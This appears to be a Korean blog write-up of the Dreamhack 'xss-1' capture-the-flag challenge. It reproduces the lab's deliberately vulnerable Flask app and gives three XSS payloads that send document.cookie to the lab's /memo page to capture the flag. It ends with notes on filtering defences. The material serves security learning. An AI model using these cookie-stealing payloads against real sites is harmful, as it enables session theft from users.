๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/๋กœ๋“œ๋งต_Basic

[Dreamhack] Level1: xss-1

by Yun2๐Ÿ‘ 2023. 8. 19.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธAccess

์—ฌ๋Ÿฌ ๊ธฐ๋Šฅ๊ณผ ์ž…๋ ฅ ๋ฐ›์€ URL์„ ํ™•์ธํ•˜๋Š” ๋ด‡์ด ๊ตฌํ˜„๋œ ์„œ๋น„์Šค์ด๋‹ค. XSS ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“. ํ”Œ๋ž˜๊ทธ๋Š” flag.txt, FLAG ๋ณ€์ˆ˜์— ์žˆ๋‹ค.

 

 

๐Ÿ‘พExploit Algorithm & Payload

๋”๋ณด๊ธฐ
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

 

 

#1


'/' ์ธ๋ฑ์Šค ํŽ˜์ด์ง€: ๊ฐ„๋‹จํ•œ ํ™”๋ฉด, GET ์š”์ฒญ

'/memo' ํŽ˜์ด์ง€: ๋ฉ”๋ชจ๊ฐ€ ๊ธฐ๋ก๋˜๊ณ , GET์š”์ฒญ,๊ธฐ๋ก๋œ ๋ฉ”๋ชจ๊ฐ€ ์ถœ๋ ฅ์ด ๋จ(๋‹จ, ๋ฌธ์ž์—ด๋กœ๋งŒ ์ถœ๋ ฅ๋จ)

'/vuln' ํŽ˜์ด์ง€: GET ์š”์ฒญ์— ๋”ฐ๋ผ ํ•ด๋‹น ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ํŽ˜์ด์ง€

'/flag' ํŽ˜์ด์ง€: flag.html์„ ๋ฐ˜ํ™˜ ๋ฐ POST ์š”์ฒญ์—๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›์•„ XSS ๊ณต๊ฒฉ์ด ์กด์žฌํ•˜๋Š” ์ง€ ํ™•์ธํ•˜๊ณ  ๊ฒฐ๊ณผ ์ถœ๋ ฅ

 

> '/memo' ํŽ˜์ด์ง€ ์ถ”๊ฐ€ ์„ค๋ช…

๋”๋ณด๊ธฐ
@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

: /memo ํŽ˜์ด์ง€์—์„œ render_template("memo.html", memo=memo_text)์ฝ”๋“œ๋ฅผ ํ†ตํ•ด ๋ Œ๋”๋ง
: render_template๋ฅผ ์ด์šฉํ•ด ๋‹ค๋ฅธ ํŒŒ์ผ ๋ฐ ํด๋”์˜ html๊ณผ ์—ฐ๋™ํ•˜๋ฉฐ ํ˜ธ์ถœํ•˜๋Š” ๋ฐฉ์‹
: ์ฆ‰, memo.html์— ์ž‘์„ฑ๋œ ํŒŒ์ผ ์•ˆ์˜ ํŽ˜์ด์ง€ ํ˜•์‹์— /memo ํŽ˜์ด์ง€์˜ memo=memo_text๋ณ€์ˆ˜ ๊ฐ’์„ ํŽ˜์ด์ง€์™€ ์—ฐ๋™
: <script>, <html> ,… ๋“ฑ์„ ์‚ฌ์šฉํ•˜์˜€๋Š”๋ฐ HTMLํ˜•์‹์˜ ๊ฐ’์œผ๋กœ ๋ฆฌํ„ด์ด ์•ˆ ๋˜๋ƒ๋ฉด ๊ฐ’์ด ๋ฆฌํ„ด ๋  ๋•Œ, ๊ทธ ๊ฐ’๋“ค์ด ์›น ๋ธŒ๋ผ์šฐ์ € ์ƒ์œผ๋กœ ๋„˜์–ด๊ฐ€๋ฉฐ ๋ฌธ์ž์—ด๋กœ ์ถœ๋ ฅ์ด ๋˜๊ธฐ ๋•Œ๋ฌธ

: ๊ทธ๋Ÿฐ๋ฐ ๋ฌด์กฐ๊ฑด์€ ์•„๋‹ˆ๋‹ค. HTML ํ˜•์‹์œผ๋กœ ๋ฆฌํ„ด์„ ํ•  ์ˆ˜๋„ ์žˆ๋Š”๋ฐ ์˜ˆ๋ฅผ ๋“ค๋ฉด ๋ฐ‘์˜ ์ฝ”๋“œ์™€ ๊ฐ™์ด {{ }}๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ค‘์ฒฉ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜, ๋ฐ˜๋ณต์ด๋‚˜ ์กฐ๊ฑด๋ฌธ ๊ฐ™์€ ๋กœ์ง์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” {% %}๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋ณ€์ˆ˜๊ฐ’์„ ํ™”๋ฉด์— ์ถœ๋ ฅ(์›น ๋ธŒ๋ผ์šฐ์ € ์ƒ ๋ฌธ์ž์—ด์ด ์•„๋‹Œ ๋ณ€์ˆ˜์˜ ๊ฐ’์œผ๋กœ ์ถœ๋ ฅ)ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋จ

refer to...
https://roksf0130.tistory.com/98

 

 

#2


: /vuln ํŽ˜์ด์ง€์—์„œ xss ์ทจ์•ฝ์ ์ด ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ํŒŒ์•…ํ–ˆ๋‹ค. ํ•˜์ง€๋งŒ ๋™์ž‘์ด ์ด ํŽ˜์ด์ง€์—์„œ๋งŒ ๋œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ๋‹ค. 

 

: /memoํŽ˜์ด์ง€์—์„œ ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์ด ๊ทธ๋Œ€๋กœ ์ŠคํŠธ๋ง๊ฐ’์œผ๋กœ ๋ธŒ๋ผ์šฐ์ €์ƒ์— ์ถœ๋ ฅ์ด ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

: /flag ํŽ˜์ด์ง€์—์„œ xss์ทจ์•ฝ์ ์ด ์žˆ๋Š” /vulnํŽ˜์ด์ง€์˜ ๊ฐ’์œผ๋กœ ํŒŒ๋ผ๋ฏธํ„ฐ์™€ ๊ฐ™์ด ๋งŒ๋“ค์–ด๋‘” ์ž…๋ ฅ ์ฐฝ์ด ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€

๋”ฐ๋ผ์„œ falg ํŽ˜์ด์ง€์—์„œ ์ž…๋ ฅํ•œ ๊ฐ’์„ ํ†ตํ•ด memo ํŽ˜์ด์ง€์—์„œ ๊ฐ’์„ ์–ป์„ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋ผ ํŒŒ์•…ํ–ˆ๋‹ค.

 

 

#3


<script>window.open("http://127.0.0.1:8000/memo?memo="+document.cookie)</script>

<script>location.href = "http://127.0.0.1:8000/memo?memo="+document.cookie</script>

<script src="x" onerror="location.href='http://127.0.0.1:8000/memo?memo='+document.cookie"></script>

: ์ด๊ฒƒ ์ด์™ธ์—๋„ ๋‹ค์–‘ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์ด ๊ฐ€๋Šฅํ•  ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.(Unicode escape sequence ์ด์šฉํ•œ ์šฐํšŒ, Computed member access ์‚ฌ์šฉ, javascript ์Šคํ‚ค๋งˆ ์ ์šฉ, ...)

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


 

 

๐Ÿ“ŒSummary


xss(Stored, Reflected, Dom)์ทจ์•ฝ์ ์˜ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ณ„ ํŠน์ˆ˜๋ฌธ์ž ๋ฐ ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ ํ•„ํ„ฐ๋ง์„ ๋ช…ํ™•ํžˆ ํ•ด์ฃผ๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•˜๊ณ , ์—ฌ๋Ÿฌ๊ฐ€์ง€ xss ์šฐํšŒ๊ธฐ๋ฒ•๋“ค๋„ ํ™•์ธํ•˜์—ฌ ์ ์šฉ์‹œํ‚ฌ ํ•„์š”๊ฐ€ ์žˆ๋‹ค.

 

location.href = “์ฃผ์†Œ”    #ํ˜„์žฌ ํŽ˜์ด์ง€์—์„œ URL ๋ฐ˜ํ™˜ ๋ฐ ์—…๋ฐ์ดํŠธ

window.open =(” ”)        #์ƒˆ ํŽ˜์ด์ง€์—์„œ URL ๋ฐ˜ํ™˜ ๋ฐ ์—…๋ฐ์ดํŠธ

document.cookie           #์ด ํ”„๋กœํผํ‹ฐ๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ฟ ํ‚ค ์ ‘๊ทผ

 

- ํ™”์ดํŠธ ๊ธฐ๋ฐ˜ : ํŠน์ • ํƒœ๊ทธ๋งŒ ์‚ฌ์šฉํ•˜๊ฒ ๋‹ค๋Š” ์˜๋ฏธ(์šฐํšŒ๊ฐ€ ์–ด๋ ต์ง€๋งŒ ํ™œ์šฉํ•  ๋•Œ ๋ฌธ์ œ ๋ฐœ์ƒํ•  ๊ฒƒ ๊ฐ™์Œ)

- ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๊ธฐ๋ฐ˜ : ํŠน์ • ํƒœ๊ทธ๋งŒ ํ•„ํ„ฐ๋ง ํ•œ๋‹ค๋Š” ์˜๋ฏธ(script๋ผ๋Š” ํƒœ๊ทธ๋ฅผ ๋ง‰์•„์•ผ๊ฒ ๋‹ค!๋ผ๊ณ  ํ•˜๋ฉด ๊ทธ๊ฒƒ๋งŒ ๋ง‰์•„์ง)

- property : ์ผ๋ถ€ ๊ฐ์ฒด ์ง€ํ–ฅ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด์—์„œ ํ•„๋“œ(๋ฐ์ดํ„ฐ ๋ฉค๋ฒ„)์™€ ๋ฉ”์†Œ๋“œ ๊ฐ„ ๊ธฐ๋Šฅ์˜ ์ค‘๊ฐ„์ธ ํด๋ž˜์Šค ๋ฉค๋ฒ„์˜ ํŠน์ˆ˜ํ•œ ์œ ํ˜• ํ”„๋กœํผํ‹ฐ์˜ ์ฝ๊ธฐ์™€ ์“ฐ๊ธฐ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๊ฒŒํ„ฐ(getter)์™€ ์„ธํ„ฐ(setter) ๋ฉ”์†Œ๋“œ ํ˜ธ์ถœ๋กœ ๋ณ€ํ™˜

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > ๋กœ๋“œ๋งต_Basic' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level1: csrf-2  (0) 2023.08.21
[Dreamhack] Level1: csrf-1  (0) 2023.08.21
[Dreamhack] Level1: xss-2  (0) 2023.08.19
[Dreamhack] Level1: Session-basic  (0) 2023.08.17
[Dreamhack] Level1: cookie  (0) 2023.08.17